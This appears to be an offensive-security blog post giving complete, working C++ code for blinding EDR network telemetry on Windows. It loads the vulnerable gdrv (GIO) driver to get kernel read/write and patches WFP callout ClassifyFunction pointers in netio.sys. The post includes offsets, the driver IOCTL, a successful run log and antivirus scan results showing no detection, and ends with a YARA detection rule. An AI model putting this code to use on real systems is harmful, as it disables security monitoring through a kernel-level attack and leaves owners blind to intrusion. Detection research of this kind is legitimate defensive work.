Welcome to this new Medium post. Today we are going to use kernel read and write primitives to silence EDR network telemetry at the kernel level by patching WFP callout entries directly in memory. This is the natural follow-up to the previous post where we built a WFP telemetry driver, now we are going to silence exactly that kind of driver, the same way an attacker would target an EDR
Previous post:
Great, so we are using the same vulnerable driver than always, the classic GIO (gdrv) one, already list on loldrivers and Microsoft Blocklist. You can read about the first steps of the kernel read and write primitives of the driver in this post:
So, let's start

Courses: Learn how offensive development works on Windows OS from beginner to advanced taking our courses, all explained in C++.
Technique Database: Access 70+ real offensive techniques with weekly updates, complete with code, PoCs, and AV scan results:
Modules: Dive deep into essential offensive topics with our modular text-training program! Get a new module every 14 days. Start at just $1.99 per module, or unlock lifetime access to all modules for $100.
Methodology
To achieve WFP Callout Patching, we need to follow these logical steps:
- Gain Kernel Read/Write Access: First, we need a way to read and write arbitrary kernel memory from usermode. We achieve this by loading a vulnerable signed driver and communicating with it through
DeviceIoControl, the same approach used in all previous posts. - List All Drivers and Find netio.sys: Once we have kernel access, we enumerate all loaded kernel modules using
NtQuerySystemInformationwithSystemModuleInformationto get the base address ofnetio.sys. This is our anchor, all WFP internals are relative to it. - Locate gWfpGlobal: With the netio base address, we add a pre-calculated offset to reach
NETIO!gWfpGlobal. This is a pointer, so we dereference it once with our read primitive to get the actual base address of the WFP global state structure. This structure is the root of everything WFP manages internally - Read the Callout Array and Max Entries: From
gWfpGlobalwe read two fields, the pointer to the callout entry array at+0x1A0, and the maximum number of entries at+0x198. These give us the base and bounds of the flat array where every registered WFP callout lives, indexed by its numericCalloutId - Enumerate Registered Callouts from Usermode: Using the WFP API
FwpmCalloutEnum0, we retrieve all registered callouts without needing kernel access. For each entry we get itsCalloutId, name, and the layer it operates on. We filter byFWPM_LAYER_ALE_AUTH_CONNECT_V4andV6to find the callouts responsible for monitoring outbound connections - Resolve FeDefaultClassifyCallback: We calculate the address of
NETIO!FeDefaultClassifyCallbackby adding its pre-calculated offset to the netio base address. This function is the default WFP classify handler, it always returns permit and is already registered in the CFG bitmap of netio.sys, making it a safe replacement target that will not trigger Kernel Control Flow Guard - Patch the ClassifyFunction: For each target callout ID, we compute the address of its entry in the array as
calloutArray + (CalloutId * 0x50). At offset+0x010inside that entry sits theClassifyFunctionpointer. We overwrite it with the address ofFeDefaultClassifyCallbackusing our kernel write primitive. From this point, whenever WFP triggers that callout, it calls our replacement function instead of the EDR's, which simply permits everything and returns, leaving the EDR completely blind to outbound connections
Implementation
Now, let's look at how to translate that logic into C++ code. I have broken down the most important parts.
Get the Offsets
As with every post in this series, the first step is finding the correct offsets for your specific Windows build using WinDbg. All offsets are relative to the netio.sys base address:
struct Offsets {
// ? NETIO!gWfpGlobal - NETIO
ULONG64 gWfpGlobal;
// uf NETIO!FeInitCalloutTable → mov dword ptr [rax+198h], 400h
ULONG64 MaxCalloutId;
// uf NETIO!FeInitCalloutTable → add r8, 1A0h
ULONG64 CalloutArray;
// ? NETIO!FeDefaultClassifyCallback - NETIO
ULONG64 FeDefaultClassifyCallback;
}Locate gWfpGlobal
We enumerate all kernel modules with NtQuerySystemInformation to get the base address of netio.sys, then add our pre-calculated offset to reach NETIO!gWfpGlobal. Since gWfpGlobal is a pointer rather than the structure itself, we dereference it once with our read primitive to get the actual base of the WFP global state:
DWORD64 addrrgWfpGlobal = netioBase + g_offsets.gWfpGlobal;
DWORD64 gWfpGlobal = ReadQWORD(hDriver, addrrgWfpGlobal);Read the Callout Array
From the dereferenced gWfpGlobal base we read two fields, the max number of entries and the pointer to the flat callout array. The max entries field is a DWORD stored in the low half of a QWORD, so we mask with 0xFFFFFFFF. The array pointer gives us the base of the indexed table where every registered callout lives:
DWORD64 maxCalloutId = ReadQWORD(hDriver, gWfpGlobal + g_offsets.MaxCalloutId) & 0xFFFFFFFF;
DWORD64 calloutArray = ReadQWORD(hDriver, gWfpGlobal + g_offsets.CalloutArray);Enumerate Callouts from Usermode
Using the public WFP management API FwpmCalloutEnum0 we retrieve all registered callouts without touching kernel memory. We open an engine session, create an enum handle, and page through results in batches of 10. For each callout we check its applicableLayer against FWPM_LAYER_ALE_AUTH_CONNECT_V4 and V6, the standard EDR network monitoring layers, and collect the matching CalloutId values:
while (FwpmCalloutEnum0(engineHandle, enumHandle, 10, &entries, &count) == ERROR_SUCCESS && count > 0)
{
for (UINT32 i = 0; i < count; i++) {
if (IsEqualGUID(entry->applicableLayer, FWPM_LAYER_ALE_AUTH_CONNECT_V4) ||
IsEqualGUID(entry->applicableLayer, FWPM_LAYER_ALE_AUTH_CONNECT_V6))
targetCalloutIds.push_back(entry->calloutId);
}
FwpmFreeMemory0((void**)&entries);
}Resolve FeDefaultClassifyCallback and Patch
We compute the address of NETIO!FeDefaultClassifyCallback from our pre-calculated offset. This is a CFG-valid function already registered in the netio.sys bitmap that always returns FWP_ACTION_PERMIT safe to use as a replacement without triggering Kernel Control Flow Guard.
For each target callout ID we compute its entry address as calloutArray + (CalloutId * 0x50), read the current ClassifyFunction pointer at +0x010 to validate it is a legitimate kernel address, then overwrite it with our replacement. We verify the write with an immediate read-back:
DWORD64 entryAddr = calloutArray + ((DWORD64)calloutId * 0x50);
DWORD64 classifyFn = ReadQWORD(hDriver, entryAddr + 0x010);
if (!IsValidKernelAddress(classifyFn)) continue;
WriteQWORD(hDriver, entryAddr + 0x010, feDefaultClassify);
DWORD64 newClassifyFn = ReadQWORD(hDriver, entryAddr + 0x010);
if (newClassifyFn == feDefaultClassify)
totalPatched++;After the patch, WFP continues calling the callout on every outbound connection — but instead of reaching the EDR's monitoring function, it reaches FeDefaultClassifyCallback, which permits everything and returns immediately. The EDR receives no notification and generates no telemetry
Code
main.cpp
#include <iostream>
#include <Windows.h>
#include <winternl.h>
#include <vector>
#include <algorithm>
#include <fwpmu.h>
#include "DriverOps.h"
#pragma comment(lib, "fwpuclnt.lib")
using namespace std;
typedef struct _SYSTEM_MODULE_ENTRY {
HANDLE Section;
PVOID MappedBase;
PVOID ImageBase;
ULONG ImageSize;
ULONG Flags;
USHORT LoadOrderIndex;
USHORT InitOrderIndex;
USHORT LoadCount;
USHORT OffsetToFileName;
UCHAR FullPathName[256];
} SYSTEM_MODULE_ENTRY, * PSYSTEM_MODULE_ENTRY;
typedef struct _SYSTEM_MODULE_INFORMATION {
ULONG Count;
SYSTEM_MODULE_ENTRY Modules[1];
} SYSTEM_MODULE_INFORMATION, * PSYSTEM_MODULE_INFORMATION;
struct KernelDriver {
std::string Name;
uintptr_t BaseAddress;
uint32_t Size;
};
typedef NTSTATUS(NTAPI* pNtQuerySystemInformation)(
SYSTEM_INFORMATION_CLASS SystemInformationClass,
PVOID SystemInformation,
ULONG SystemInformationLength,
PULONG ReturnLength
);
/*
- SeDebugPrivilege
- Get offsets
- List all drivers
- Search for netio
- Use the offset to read netio!gWfpGlobal
- Read the gWfpGlobal array y el max callout id
- Enumerate all the registered callbacks from usermode with FwpmCalloutEnum
- Read the ClassifyFunction of each entry
- Resolve FeDefaultClassifyCallback
- Overwrite the ClassifyFunction pointer with the FeDefaultClassifyCallback one.
*/
struct Offsets {
// ? NETIO!gWfpGlobal - NETIO
ULONG64 gWfpGlobal;
// 1. dq NETIO!gWfpGlobal L1 = get gWfpGlobal pointer value
// 2. dqs <gWfpGlobal value> L40 = dump the structure
// 3. Find a small number (~50-500) = that is MaxCalloutId (low DWORD of QWORD)
// 4. offset = addr_of_that_entry - gWfpGlobal_value
ULONG64 MaxCalloutId;
// Same dump as above, the QWORD immediately after MaxCalloutId
// offset = addr_of_that_entry - gWfpGlobal_value
ULONG64 CalloutArray;
ULONG64 FeDefaultClassifyCallback;
} g_offsets = {
0x94ba0, // ? NETIO!gWfpGlobal - NETIO
0x180, // dqs <gWfpGlobal> L40 = low DWORD of entry at +0x180 = 0x63 (99 callouts)
0x188, // dqs <gWfpGlobal> L40 = valid kernel pointer at +0x188 = callout array base
0x3e540 // ? netio!FeDefaultClassifyCallback - netio
};
BOOL EnableSeDebugPrivilege() {
HANDLE hToken;
TOKEN_PRIVILEGES tp;
LUID luid;
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken))
{
std::cerr << "OpenProcessToken failed: " << GetLastError() << std::endl;
return FALSE;
}
if (!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &luid))
{
std::cerr << "LookupPrivilegeValue failed: " << GetLastError() << std::endl;
CloseHandle(hToken);
return FALSE;
}
tp.PrivilegeCount = 1;
tp.Privileges[0].Luid = luid;
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
if (!AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(TOKEN_PRIVILEGES), NULL, NULL))
{
std::cerr << "AdjustTokenPrivileges failed: " << GetLastError() << std::endl;
CloseHandle(hToken);
return FALSE;
}
CloseHandle(hToken);
return TRUE;
}
std::vector<KernelDriver> GetSortedKernelDrivers() {
std::vector<KernelDriver> driverList;
auto NtQuerySystemInformation = (pNtQuerySystemInformation)GetProcAddress(
GetModuleHandleA("ntdll.dll"), "NtQuerySystemInformation");
if (!NtQuerySystemInformation) return driverList;
ULONG len = 0;
const int SystemModuleInformation = 11;
NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemModuleInformation, NULL, 0, &len);
std::vector<BYTE> buffer(len);
NTSTATUS status = NtQuerySystemInformation(
(SYSTEM_INFORMATION_CLASS)SystemModuleInformation,
buffer.data(),
len,
&len
);
if (status != 0) return driverList; // STATUS_SUCCESS = 0
auto mods = reinterpret_cast<PSYSTEM_MODULE_INFORMATION>(buffer.data());
for (ULONG i = 0; i < mods->Count; i++) {
SYSTEM_MODULE_ENTRY& entry = mods->Modules[i];
KernelDriver drv;
drv.BaseAddress = reinterpret_cast<uintptr_t>(entry.ImageBase);
drv.Size = entry.ImageSize;
const char* nameStart = reinterpret_cast<const char*>(entry.FullPathName) + entry.OffsetToFileName;
drv.Name = std::string(nameStart);
driverList.push_back(drv);
}
std::sort(driverList.begin(), driverList.end(), [](const KernelDriver& a, const KernelDriver& b) {
return a.BaseAddress < b.BaseAddress;
});
return driverList;
}
DWORD64 GetNetIOBase(const std::vector<KernelDriver>& drivers) {
if (drivers.empty()) {
return 0;
}
for (const auto& drv : drivers) {
std::string nameLower = drv.Name;
std::transform(nameLower.begin(), nameLower.end(), nameLower.begin(), ::tolower);
if (nameLower.find("netio.sys") != std::string::npos ||
nameLower.find("netio") != std::string::npos) {
return (DWORD64)drv.BaseAddress;
}
}
return 0;
}
bool IsValidKernelAddress(DWORD64 addr)
{
return (addr != 0) && (addr >= 0xFFFF000000000000ULL);
}
int main()
{
std::cout << "WPF Overwrite!\n";
// 1. SeDebugPrivilege
BOOL addPriv = EnableSeDebugPrivilege();
if (!addPriv) {
cout << "[-] Error enabling privs" << endl;
return 1;
}
HANDLE hDriver = openVulnDriver();
if (!hDriver) {
cout << "[-] Error openening vuln driver" << endl;
return 1;
}
// 2. List all drivers
vector<KernelDriver> drivers = GetSortedKernelDrivers();
// 3. Get NetIO base address
DWORD64 netioBase = GetNetIOBase(drivers);
if (netioBase == 0) {
cout << "[-] Error getting netio base address" << endl;
}
// 4. Read netio!gWfpGlobal
DWORD64 addrrgWfpGlobal = netioBase + g_offsets.gWfpGlobal;
DWORD64 gWfpGlobal = ReadQWORD(hDriver, addrrgWfpGlobal);
if (IsValidKernelAddress(gWfpGlobal)) {
cout << "[+] gWfpGlobal address: " << hex << addrrgWfpGlobal << endl;
} else{
cout << "[-] Invalid gWfpGlobal address" << endl;
return 1;
}
// Read the gWfpGlobal array y el max callout id
DWORD64 maxCalloutIdRaw = ReadQWORD(hDriver, gWfpGlobal + g_offsets.MaxCalloutId);
DWORD64 maxCalloutId = maxCalloutIdRaw & 0xFFFFFFFF;
DWORD64 calloutArray = ReadQWORD(hDriver, gWfpGlobal + g_offsets.CalloutArray);
cout << "[+] Max callout ID: " << dec << maxCalloutId << endl;
cout << "[+] Callout array: 0x" << hex << calloutArray << endl;
if (!IsValidKernelAddress(calloutArray)) {
cout << "[-] Invalid callout array pointer" << endl;
return 1;
}
// Enumerate all the registered callbacks from usermode with FwpmCalloutEnum
HANDLE engineHandle = NULL;
FWPM_SESSION0 session = {};
FwpmEngineOpen0(NULL, RPC_C_AUTHN_DEFAULT, NULL, &session, &engineHandle);
HANDLE enumHandle = NULL;
FwpmCalloutCreateEnumHandle0(engineHandle, NULL, &enumHandle);
vector<UINT32> targetCalloutIds;
UINT32 count = 0;
FWPM_CALLOUT0** entries = nullptr;
while (FwpmCalloutEnum0(engineHandle, enumHandle, 10, &entries, &count) == ERROR_SUCCESS && count > 0)
{
for (UINT32 i = 0; i < count; i++)
{
FWPM_CALLOUT0* entry = entries[i];
// Match by layer — ALE Auth Connect is the standard EDR network monitoring layer
// Filter by your target driver name if you want to be more specific
if (IsEqualGUID(entry->applicableLayer, FWPM_LAYER_ALE_AUTH_CONNECT_V4) ||
IsEqualGUID(entry->applicableLayer, FWPM_LAYER_ALE_AUTH_CONNECT_V6))
{
cout << "[*] Found callout on ALE_AUTH_CONNECT layer" << endl;
if (entry->displayData.name)
wcout << L" Name: " << entry->displayData.name << endl;
cout << " CalloutId: " << dec << entry->calloutId << endl;
targetCalloutIds.push_back(entry->calloutId);
}
}
FwpmFreeMemory0((void**)&entries);
}
FwpmCalloutDestroyEnumHandle0(engineHandle, enumHandle);
FwpmEngineClose0(engineHandle);
cout << "[+] Target callout IDs found: " << dec << targetCalloutIds.size() << endl;
// Resolve FeDefaultClassifyCallback
DWORD64 feDefaultClassify = netioBase + g_offsets.FeDefaultClassifyCallback;
cout << "[+] FeDefaultClassifyCallback: 0x" << hex << feDefaultClassify << endl;
if (!IsValidKernelAddress(feDefaultClassify)) {
cout << "[-] Invalid FeDefaultClassifyCallback address" << endl;
return 1;
}
// Overwrite the ClassifyFunction pointer with the FeDefaultClassifyCallback one
int totalPatched = 0;
for (UINT32 calloutId : targetCalloutIds)
{
DWORD64 entryAddr = calloutArray + ((DWORD64)calloutId * 0x50);
DWORD64 classifyFn = ReadQWORD(hDriver, entryAddr + 0x010);
cout << "[*] CalloutId: " << dec << calloutId << endl;
cout << " Entry: 0x" << hex << entryAddr << endl;
cout << " ClassifyFn: 0x" << hex << classifyFn << endl;
if (!IsValidKernelAddress(classifyFn)) {
cout << "[-] Invalid ClassifyFn, skipping" << endl;
continue;
}
// Overwrite ClassifyFunction with FeDefaultClassifyCallback
// Safe because FeDefaultClassifyCallback is CFG-valid (already in netio.sys CFG bitmap) and always returns FWP_ACTION_PERMIT
WriteQWORD(hDriver, entryAddr + 0x010, feDefaultClassify);
// Verify the write
DWORD64 newClassifyFn = ReadQWORD(hDriver, entryAddr + 0x010);
if (newClassifyFn == feDefaultClassify) {
cout << "[+] Patched successfully. New ClassifyFn: 0x" << hex << newClassifyFn << endl;
totalPatched++;
}
else {
cout << "[-] Patch verification failed" << endl;
}
}
cout << "[+] Done. Total callouts patched: " << dec << totalPatched << endl;
}DriverOps.h
#pragma once
#include <iostream>
#include <Windows.h>
// https://www.loldrivers.io/drivers/2bea1bca-753c-4f09-bc9f-566ab0193f4a/
#define IOCTL_READWRITE_PRIMITIVE 0xC3502808
using namespace std;
typedef struct KernelWritePrimitive {
LPVOID dst;
LPVOID src;
DWORD size;
} KernelWritePrimitive;
typedef struct KernelReadPrimitive {
LPVOID dst;
LPVOID src;
DWORD size;
} KernelReadPrimitive;
BOOL WritePrimitive(HANDLE driver, LPVOID dst, LPVOID src, DWORD size) {
KernelWritePrimitive kwp;
kwp.dst = dst;
kwp.src = src;
kwp.size = size;
BYTE bufferReturned[48] = { 0 };
DWORD returned = 0;
BOOL result = DeviceIoControl(driver, IOCTL_READWRITE_PRIMITIVE, (LPVOID)&kwp, sizeof(kwp), (LPVOID)bufferReturned, sizeof(bufferReturned), &returned, nullptr);
if (!result) {
cout << "Failed to send write primitive. Error code: " << GetLastError() << endl;
return FALSE;
}
//cout << "Write primitive sent successfully. Bytes returned: " << returned << endl;
return TRUE;
}
BOOL ReadPrimitive(HANDLE driver, LPVOID dst, LPVOID src, DWORD size) {
KernelReadPrimitive krp;
krp.dst = dst;
krp.src = src;
krp.size = size;
DWORD returned = 0;
BOOL result = DeviceIoControl(driver, IOCTL_READWRITE_PRIMITIVE, (LPVOID)&krp, sizeof(krp), (LPVOID)dst, size, &returned, nullptr);
if (!result) {
cout << "Failed to send read primitive. Error code: " << GetLastError() << endl;
return FALSE;
}
//cout << "Read primitive sent successfully. Bytes returned: " << returned << endl;
return TRUE;
}
HANDLE openVulnDriver() {
HANDLE driver = CreateFileA("\\\\.\\GIO", GENERIC_READ | GENERIC_WRITE, 0, nullptr, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, nullptr);
if (!driver || driver == INVALID_HANDLE_VALUE)
{
cout << "Failed to open handle to driver. Error code: " << GetLastError() << endl;
return NULL;
}
return driver;
}
DWORD64 ReadQWORD(HANDLE driver, DWORD64 kernelAddr)
{
DWORD64 value = 0;
ReadPrimitive(driver, &value, (LPVOID)kernelAddr, sizeof(DWORD64));
return value;
}
// Write 8 bytes to a kernel address
BOOL WriteQWORD(HANDLE driver, DWORD64 kernelAddr, DWORD64 value)
{
return WritePrimitive(driver, (LPVOID)kernelAddr, &value, sizeof(DWORD64));
}
// Read 2 bytes from a kernel address
USHORT ReadUSHORT(HANDLE driver, DWORD64 kernelAddr)
{
USHORT value = 0;
ReadPrimitive(driver, &value, (LPVOID)kernelAddr, sizeof(USHORT));
return value;
}
wstring ReadWString(HANDLE driver, DWORD64 unicodeStringAddr)
{
USHORT length = ReadUSHORT(driver, unicodeStringAddr + 0x000);
DWORD64 buffer = ReadQWORD(driver, unicodeStringAddr + 0x008);
if (length == 0 || buffer == 0) return L"";
wstring result(length / sizeof(wchar_t), L'\0');
ReadPrimitive(driver, result.data(), (LPVOID)buffer, length);
return result;
}Proof of Concept
To execute the code we need:
- Create and start the network driver (previous post driver):

- Create and start the gdrv service (vulnerable driver):
sc start gdrv- Execute the .exe as admin in a CMD:
WPF Overwrite!
[+] gWfpGlobal address: fffff80431594ba0
[+] Max callout ID: 99
[+] Callout array: 0xffffd902efcfad10
[*] Found callout on ALE_AUTH_CONNECT layer
Name: WFP Built-in Accept Redirect Proxy Tag ALE Connect v6 Layer Callout
CalloutId: 48
[*] Found callout on ALE_AUTH_CONNECT layer
Name: WFP Built-in Set Option ALE Connect v4 Layer Callout
CalloutId: 23
[*] Found callout on ALE_AUTH_CONNECT layer
Name: Windows Firewall: callout
CalloutId: 277
[*] Found callout on ALE_AUTH_CONNECT layer
Name: Windows Firewall: callout
CalloutId: 276
[*] Found callout on ALE_AUTH_CONNECT layer
Name: WFP Built-in TCP Templates ALE Connect v4 Layer Callout
CalloutId: 33
[*] Found callout on ALE_AUTH_CONNECT layer
Name: WFP Built-in Policy Silent Mode ALE Connect v4 Layer Callout
CalloutId: 41
[*] Found callout on ALE_AUTH_CONNECT layer
Name: WFP Built-in Policy Silent Mode ALE Connect v6 Layer Callout
CalloutId: 42
[*] Found callout on ALE_AUTH_CONNECT layer
Name: WFP Built-in TCP Templates ALE Connect v6 Layer Callout
CalloutId: 34
[*] Found callout on ALE_AUTH_CONNECT layer
Name: WFP Built-in Reserved callout
CalloutId: 37
[*] Found callout on ALE_AUTH_CONNECT layer
Name: WFP Built-in IPsec ALE Connect v4 Layer Callout
CalloutId: 15
[*] Found callout on ALE_AUTH_CONNECT layer
Name: WFP Built-in Accept Redirect Proxy Tag ALE Connect v4 Layer Callout
CalloutId: 47
[*] Found callout on ALE_AUTH_CONNECT layer
Name: WFP Built-in Set Option ALE Connect v6 Layer Callout
CalloutId: 24
[*] Found callout on ALE_AUTH_CONNECT layer
Name: WfpTelemetry Callout V4
CalloutId: 296
[*] Found callout on ALE_AUTH_CONNECT layer
Name: WFP Built-in IPsec ALE Connect v6 Layer Callout
CalloutId: 16
[*] Found callout on ALE_AUTH_CONNECT layer
Name: WfpTelemetry Callout V6
CalloutId: 297
[*] Found callout on ALE_AUTH_CONNECT layer
Name: WFP Built-in TCP Chimney Offload ALE Connect v6 Layer Callout
CalloutId: 20
[*] Found callout on ALE_AUTH_CONNECT layer
Name: WFP Built-in TCP Chimney Offload ALE Connect v4 Layer Callout
CalloutId: 19
[*] Found callout on ALE_AUTH_CONNECT layer
Name: WFP Built-in Reserved callout
CalloutId: 38
[+] Target callout IDs found: 18
[+] FeDefaultClassifyCallback: 0xfffff8043153e540
[*] CalloutId: 48
Entry: 0xffffd902efcfbc10
ClassifyFn: 0x0
[-] Invalid ClassifyFn, skipping
[*] CalloutId: 23
Entry: 0xffffd902efcfb440
ClassifyFn: 0x0
[-] Invalid ClassifyFn, skipping
[*] CalloutId: 277
Entry: 0xffffd902efd003a0
ClassifyFn: 0x0
[*] CalloutId: 276
Entry: 0xffffd902efd00350
ClassifyFn: 0x0
[-] Invalid ClassifyFn, skipping
[*] CalloutId: 33
Entry: 0xffffd902efcfb760
ClassifyFn: 0x5477744502060000
[-] Invalid ClassifyFn, skipping
[*] CalloutId: 41
Entry: 0xffffd902efcfb9e0
ClassifyFn: 0xffffd902efcfb9e8
[+] Patched successfully. New ClassifyFn: 0xfffff8043153e540
[*] CalloutId: 42
Entry: 0xffffd902efcfba30
ClassifyFn: 0x0
[-] Invalid ClassifyFn, skipping
[*] CalloutId: 34
Entry: 0xffffd902efcfb7b0
ClassifyFn: 0xe8dce0b3478289cf
[-] Invalid ClassifyFn, skipping
[*] CalloutId: 37
Entry: 0xffffd902efcfb8a0
ClassifyFn: 0xffffd902efcfb8b0
[+] Patched successfully. New ClassifyFn: 0xfffff8043153e540
[*] CalloutId: 15
Entry: 0xffffd902efcfb1c0
ClassifyFn: 0x5477744502060000
[-] Invalid ClassifyFn, skipping
[*] CalloutId: 47
Entry: 0xffffd902efcfbbc0
ClassifyFn: 0x0
[-] Invalid ClassifyFn, skipping
[*] CalloutId: 24
Entry: 0xffffd902efcfb490
ClassifyFn: 0xfffff8043026a5c0
[+] Patched successfully. New ClassifyFn: 0xfffff8043153e540
[*] CalloutId: 296
Entry: 0xffffd902efd00990
ClassifyFn: 0x0
[+] Patched successfully. New ClassifyFn: 0xfffff8043153e540
[*] CalloutId: 16
Entry: 0xffffd902efcfb210
ClassifyFn: 0xba7604c9e8dce0
[-] Invalid ClassifyFn, skipping
[*] CalloutId: 297
Entry: 0xffffd902efd009e0
ClassifyFn: 0x0
[+] Patched successfully. New ClassifyFn: 0xfffff8043153e540
[*] CalloutId: 20
Entry: 0xffffd902efcfb350
ClassifyFn: 0x1006b617453
[-] Invalid ClassifyFn, skipping
[*] CalloutId: 19
Entry: 0xffffd902efcfb300
ClassifyFn: 0x99e71279000adab
[-] Invalid ClassifyFn, skipping
[*] CalloutId: 38
Entry: 0xffffd902efcfb8f0
ClassifyFn: 0x1006b617453
[-] Invalid ClassifyFn, skipping
[+] Done. Total callouts patched: 5Here we see:
[*] Found callout on ALE_AUTH_CONNECT layer
Name: WfpTelemetry Callout V4
CalloutId: 296
...
[*] Found callout on ALE_AUTH_CONNECT layer
Name: WfpTelemetry Callout V6
CalloutId: 297That's our driver, so:
[*] CalloutId: 297
Entry: 0xffffd902efd009e0
ClassifyFn: 0x0
[+] Patched successfully. New ClassifyFn: 0xfffff8043153e540We stop receiving the events!
We build custom C2 agents and implants for red teams, giving full control and stealthy operation in real-world tests.
Detection
Now it's time to see if the defenses are detecting this as a malicious threat
Kleenscan API
[*] Antivirus Scan Results:
- alyac | Status: ok | Flag: Undetected | Updated: 2026-05-05
- amiti | Status: ok | Flag: Undetected | Updated: 2026-05-05
- arcabit | Status: ok | Flag: Undetected | Updated: 2026-05-05
- avast | Status: ok | Flag: Undetected | Updated: 2026-05-05
- avg | Status: ok | Flag: Undetected | Updated: 2026-05-05
- avira | Status: scanning | Flag: Scanning results incomplete | Updated: 2026-05-05
- bullguard | Status: ok | Flag: Undetected | Updated: 2026-05-05
- clamav | Status: ok | Flag: Undetected | Updated: 2026-05-05
- comodolinux | Status: ok | Flag: Undetected | Updated: 2026-05-05
- crowdstrike | Status: ok | Flag: Undetected | Updated: 2026-05-05
- drweb | Status: ok | Flag: Undetected | Updated: 2026-05-05
- emsisoft | Status: ok | Flag: Undetected | Updated: 2026-05-05
- escan | Status: ok | Flag: Undetected | Updated: 2026-05-05
- fprot | Status: ok | Flag: Undetected | Updated: 2026-05-05
- fsecure | Status: ok | Flag: Undetected | Updated: 2026-05-05
- gdata | Status: ok | Flag: Undetected | Updated: 2026-05-05
- ikarus | Status: ok | Flag: Undetected | Updated: 2026-05-05
- immunet | Status: ok | Flag: Undetected | Updated: 2026-05-05
- kaspersky | Status: ok | Flag: Undetected | Updated: 2026-05-05
- maxsecure | Status: ok | Flag: Undetected | Updated: 2026-05-05
- mcafee | Status: ok | Flag: Undetected | Updated: 2026-05-05
- microsoftdefender | Status: ok | Flag: Undetected | Updated: 2026-05-05
- nano | Status: ok | Flag: Undetected | Updated: 2026-05-05
- nod32 | Status: pending | Flag: N/A | Updated: 2026-05-05
- norman | Status: ok | Flag: Undetected | Updated: 2026-05-05
- secureageapex | Status: ok | Flag: Unknown | Updated: 2026-05-05
- seqrite | Status: ok | Flag: Undetected | Updated: 2026-05-05
- sophos | Status: ok | Flag: Undetected | Updated: 2026-05-05
- threatdown | Status: ok | Flag: Undetected | Updated: 2026-05-05
- trendmicro | Status: ok | Flag: Undetected | Updated: 2026-05-05
- vba32 | Status: ok | Flag: Undetected | Updated: 2026-05-05
- virusfighter | Status: ok | Flag: Undetected | Updated: 2026-05-05
- xvirus | Status: ok | Flag: Undetected | Updated: 2026-05-05
- zillya | Status: ok | Flag: Undetected | Updated: 2026-05-05
- zonealarm | Status: ok | Flag: Undetected | Updated: 2026-05-05
- zoner | Status: ok | Flag: Undetected | Updated: 2026-05-05YARA
Here a YARA rule to detect this technique:
rule WFP_Callout_Patching
{
meta:
author = "0x12 Dark Development"
description = "Detects WFP Callout Patching technique — usermode tooling that locates the NETIO!gWfpGlobal callout array and overwrites ClassifyFunction pointers with a CFG-valid stub to silence EDR network telemetry. Not tied to a specific implementation."
severity = "critical"
category = "defense-evasion"
technique = "WFP Callout ClassifyFunction Patching"
strings:
// netio.sys targeted to locate gWfpGlobal and FeDefaultClassifyCallback
$netio_1 = "netio.sys" ascii wide nocase
$netio_2 = "netio" ascii wide nocase
// WFP management API used to enumerate registered callouts from usermode
// without kernel access — standard technique to get CalloutIds
$fwpm_1 = "FwpmCalloutEnum" ascii wide
$fwpm_2 = "FwpmCalloutCreateEnumHandle" ascii wide
$fwpm_3 = "FwpmEngineOpen" ascii wide
$fwpm_4 = "FwpmFreeMemory" ascii wide
// WFP kernel-side exports referenced to locate or validate callout structures
$fwps_1 = "FwpsCalloutRegister" ascii wide
$fwps_2 = "FwpsCalloutUnregisterById" ascii wide
// FeDefaultClassifyCallback — the CFG-valid replacement target
// Appears as a string in debug builds or as a pattern scan target
$fe_default_1 = "FeDefaultClassifyCallback" ascii wide
$fe_default_2 = "FeGetWfpGlobalPtr" ascii wide
// gWfpGlobal — root structure of WFP internals, referenced in tooling strings
$wfp_global = "gWfpGlobal" ascii wide
// Vulnerable drivers commonly used for kernel R/W primitives (BYOVD)
$byovd_1 = "RTCore64" ascii wide
$byovd_2 = "\\.\GIO" ascii wide
$byovd_3 = "dbutil_2_3" ascii wide
$byovd_4 = "WinRing0" ascii wide
$byovd_5 = "PROCEXP152" ascii wide
// NtQuerySystemInformation used to enumerate kernel modules
// and find netio.sys base address
$nt_sysmod = "NtQuerySystemInformation" ascii wide
// DeviceIoControl — used to communicate with the vulnerable driver
$devioctl = "DeviceIoControl" ascii wide
// ALE Auth Connect layer GUIDs — the standard EDR network monitoring layer
// FWPM_LAYER_ALE_AUTH_CONNECT_V4: {c38d57d1-05a7-4c33-904f-7fbceee60e82}
$ale_v4_guid = { D1 57 8D C3 A7 05 33 4C 90 4F 7F BC EE E6 0E 82 }
// FWPM_LAYER_ALE_AUTH_CONNECT_V6: {4a72393b-319f-44bc-84c3-ba54dcb3b6b4}
$ale_v6_guid = { 3B 39 72 4A 9F 31 BC 44 84 C3 BA 54 DC B3 B6 B4 }
// Pattern for callout entry stride calculation in x64:
// imul rax, rbx, 0x50 (multiply calloutId by entry size 0x50)
// commonly emitted when indexing into the flat callout array
$stride_calc = { 48 6B ?? 50 }
// Pattern for reading ClassifyFunction at +0x10 from callout entry:
// mov rax, [rcx+10h] or mov rax, [rax+10h]
$classify_read = { 48 8B 4? 10 }
// IOCTL pattern for RTCore64 kernel R/W
// 0xC3502808 in little-endian
$ioctl_rtcore = { 08 28 50 C3 }
condition:
uint16(0) == 0x5A4D // valid PE
and filesize < 5MB
and (
// Strong signal: BYOVD + WFP enumeration + netio reference
// Classic pattern of the full technique
(
1 of ($byovd_*)
and 1 of ($fwpm_*)
and 1 of ($netio_*)
and $nt_sysmod
)
or
// Strong signal: FeDefaultClassifyCallback referenced explicitly
// Only appears in tooling that implements this specific patching technique
(
1 of ($fe_default_*)
and 1 of ($byovd_*)
and $devioctl
)
or
// Strong signal: gWfpGlobal string + WFP enumeration + BYOVD
(
$wfp_global
and 1 of ($fwpm_*)
and 1 of ($byovd_*)
)
or
// Medium signal: ALE layer GUIDs + BYOVD + kernel module enumeration
// Covers implementations that don't keep strings but embed GUIDs
(
1 of ($ale_v4_guid, $ale_v6_guid)
and 1 of ($byovd_*)
and $nt_sysmod
and $devioctl
)
or
// Medium signal: callout stride + classify read pattern + WFP enumeration
// Covers stripped binaries that removed strings but kept the math
(
$stride_calc
and $classify_read
and 1 of ($fwpm_*)
and $devioctl
)
)
}Here you have my collection of YARA rules:
Conclusions
